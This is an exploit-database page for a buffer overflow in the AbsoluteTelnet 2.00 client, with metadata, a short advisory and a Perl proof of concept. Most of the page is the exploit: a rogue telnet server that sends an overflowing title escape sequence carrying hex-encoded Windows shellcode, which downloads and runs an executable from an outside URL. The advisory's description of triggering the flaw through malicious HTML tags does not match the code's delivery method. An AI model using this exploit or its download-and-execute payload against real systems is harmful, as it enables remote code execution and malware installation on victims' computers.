AbsoluteTelnet Buffer Overflow Vulnerability

vendor:

AbsoluteTelnet

by:

deadbeat

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: AbsoluteTelnet

Affected Version From: AbsoluteTelnet 2.00

Affected Version To: AbsoluteTelnet 2.00

Patch Exists: NO

Related CWE:

CPE: a:absolutetelnet:absolutetelnet:2.00

Metasploit:

Other Scripts:

Platforms Tested:

AbsoluteTelnet Buffer Overflow Vulnerability

A buffer overflow vulnerability exists in AbsoluteTelnet due to insufficient bounds checking when setting the title bar of the client. An attacker can exploit this vulnerability by enticing a victim user to view a website with malicious HTML tags, leading to a buffer overflow condition and potential code execution.

Mitigation:

It is recommended to update AbsoluteTelnet to the latest version to mitigate this vulnerability.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/6785/info

A buffer overflow vulnerability was reported for AbsoluteTelnet. The vulnerability exists due to insufficient bounds checking performed when setting the title bar of the client. 

An attacker can exploit this vulnerability by enticing a victim user to view a website with malicious HTML tags. This will cause the buffer overflow condition. Code execution may be possible.

#!/usr/bin/perl
#UK2-SEC presents..
#absolute telnet 2.00 buffer overflow
#proof of concept code
#based on kain@ircop.dk advisory
#thanx knud..
#
#Coded by:
#deadbeat
#eip@oakey.no-ip.com
#
#UK2-SEC...
use IO::Socket;
$user = "new";
$pass = "iamnew";
$shellcode = 
"\xF0\x00\x00\x00\x58\x55\x89\xE5\x81\xEC\x2C\x00\x00\x00\x89\x45\xD4\xC7\x45\xFC".
"\x00\x00\xE6\x77\x8B\x45\xFC\x66\x81\x38\x4D\x5A\x75\x7C\x05\x3C\x00\x00\x00\x8B".
"\x18\x03\x5D\xFC\x66\x81\x3B\x50\x45\x75\x6B\x81\xC3\x78\x00\x00\x00\x8B\x33\x03".
"\x75\xFC\x81\xC6\x18\x00\x00\x00\xAD\x89\x45\xF4\xAD\x03\x45\xFC\x89\x45\xF0\xAD".
"\x03\x45\xFC\x89\x45\xEC\xAD\x03\x45\xFC\x89\x45\xE8\x31\xFF\x8B\x45\xD4\x05\x0F".
"\x00\x00\x00\x89\x45\xDC\xC7\x45\xD8\x0D\x00\x00\x00\xE8\x2D\x00\x00\x00\x8B\x55".
"\xDC\x89\x55\xE0\x8B\x45\xD4\x89\x45\xDC\xC7\x45\xD8\x0F\x00\x00\x00\xE8\x15\x00".
"\x00\x00\x8B\x55\xDC\x89\x55\xE4\x8B\x45\xE0\x89\xD3\xE9\x77\x00\x00\x00\xE9\xF6".
"\x00\x00\x00\x31\xC0\x89\x45\xF8\x8B\x7D\xF8\x3B\x7D\xF4\x7D\x43\x47\x89\x7D\xF8".
"\x31\xC0\x8B\x45\xF8\xC1\xE0\x02\x8B\x5D\xEC\x01\xC3\x8B\x03\x03\x45\xFC\x89\xC7".
"\x8B\x75\xDC\x8B\x4D\xD8\xF3\xA6\x75\xD6\x31\xC0\x8B\x45\xF8\xD1\xE0\x8B\x5D\xE8".
"\x01\xC3\x31\xC0\x66\x8B\x03\xC1\xE0\x02\x8B\x5D\xF0\x01\xD8\x8B\x18\x03\x5D\xFC".
"\x89\x5D\xDC\xC3\xE8\x0B\xFF\xFF\xFF\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72".
"\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\xE9\x82\x00".
"\x00\x00\x5F\x55\x89\xE5\x81\xEC\x1C\x00\x00\x00\x89\x45\xE8\x89\x5D\xE4\x89\x7D".
"\xFC\xC7\x45\xEC\x06\x00\x00\x00\x8B\x45\xFC\x89\x45\xF4\x05\x46\x00\x00\x00\x89".
"\x45\xF0\xE8\x27\x00\x00\x00\xC7\x45\xEC\x03\x00\x00\x00\x8B\x45\xFC\x05\x4C\x00".
"\x00\x00\x89\x45\xF4\x05\x3C\x00\x00\x00\x89\x45\xF0\xE8\x08\x00\x00\x00\x8B\x45".
"\xFC\xE9\xCB\x00\x00\x00\x8B\x45\xF4\x50\xFF\x55\xE8\x85\xC0\x74\x20\x89\x45\xF8".
"\x8B\x75\xF0\x8B\x4D\xEC\x8B\x5D\xF4\x31\xC0\xAC\x01\xC3\x8B\x45\xF8\x60\x53\x50".
"\xFF\x55\xE4\x89\x03\x61\xE2\xEA\xC3\x90\xEB\xFD\xE8\x79\xFF\xFF\xFF\x6B\x65\x72".
"\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\x56\x69\x72\x74\x75\x61\x6C\x41\x6C\x6C".
"\x6F\x63\x00\x5F\x6C\x63\x72\x65\x61\x74\x00\x5F\x6C\x77\x72\x69\x74\x65\x00\x5F".
"\x6C\x63\x6C\x6F\x73\x65\x00\x57\x69\x6E\x45\x78\x65\x63\x00\x45\x78\x69\x74\x50".
"\x72\x6F\x63\x65\x73\x73\x00\x0D\x1A\x22\x2A\x32\x3A\x77\x69\x6E\x69\x6E\x65\x74".
"\x2E\x64\x6C\x6C\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x00\x49".
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x00\x49\x6E\x74\x65".
"\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69\x6C\x65\x00\x0C\x1A\x2B\x90\x31\xC0\x50".
"\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x3A\xE9\xE9\x00\x00\x00\x5E\x89\x86\x6A\x00\x00".
"\x00\x68\x04\x00\x00\x00\x68\x00\x10\x00\x00\x68\x9F\x86\x01\x00\x68\x00\x00\x00".
"\x00\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x0D\x89\x86\x00\x00\x00\x00\x31\xC0\x50\x50".
"\x50\x50\x50\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x58\x89\x86\x04\x00\x00\x00\x31\xC0".
"\x50\x50\x50\x50\x8D\x86\x08\x00\x00\x00\x50\x8B\x86\x04\x00\x00\x00\x50\x8B\x8E".
"\x6A\x00\x00\x00\xFF\x51\x66\x89\x86\x04\x00\x00\x00\x8D\x86\x62\x00\x00\x00\x50".
"\x68\x9F\x86\x01\x00\x8B\x86\x00\x00\x00\x00\x50\x8B\x86\x04\x00\x00\x00\x50\x8B".
"\x8E\x6A\x00\x00\x00\xFF\x51\x77\x68\x00\x00\x00\x00\x8D\x86\x58\x00\x00\x00\x50".
"\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x1A\x89\x86\x66\x00\x00\x00\x8B\x86\x62\x00\x00".
"\x00\x50\x8B\x86\x00\x00\x00\x00\x50\x8B\x86\x66\x00\x00\x00\x50\x8B\x8E\x6A\x00".
"\x00\x00\xFF\x51\x22\x8B\x86\x66\x00\x00\x00\x50\x8B\x8E\x6A\x00\x00\x00\xFF\x51".
"\x2A\x68\x05\x00\x00\x00\x8D\x86\x58\x00\x00\x00\x50\x8B\x8E\x6A\x00\x00\x00\xFF".
"\x51\x32\xE9\x06\xFF\xFF\xFF\xE8\x12\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00".
"\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x64\x65\x6C\x69\x6B\x6F\x6E\x2E\x64".
"\x65\x2F\x6B\x6C\x65\x69\x6E\x2E\x65\x78\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x6B\x6C\x65\x69\x6E\x2E\x65\x78\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x90";
$shell_len = length($shellcode);
print "Length of shellcode is: $shell_len\n";
$buf = "\x00" x 261;
$buf .= $shellcode;
print "\nUK2-SEC presents..\n";
print "absolutetelnet 2.00 buffer overflow\n";
print "Should start POC on port:1331\n";
$server =IO::Socket::INET->new
(
   LocalPort => 1331,
   Type => SOCK_STREAM,
   Reuse => 1,
   Listen => 5
) or die "Couldn't open POC server...\n";
while ($client = $server->accept()) {
   print $client "Welcome to localhost.localdomain\n";
   print $client "login using the password:iamnew\n";
   sleep 2;
   print $client "\n\nPassword: ";
   $passcheck = <$client>;
   unless($passcheck = $pass){
     print $client "\n\nWrong password..\n";
     close $server;
   }
   print $client"\n\nUser verfied..\n";
   print $client "\033]0$buf\007";
}
close $server;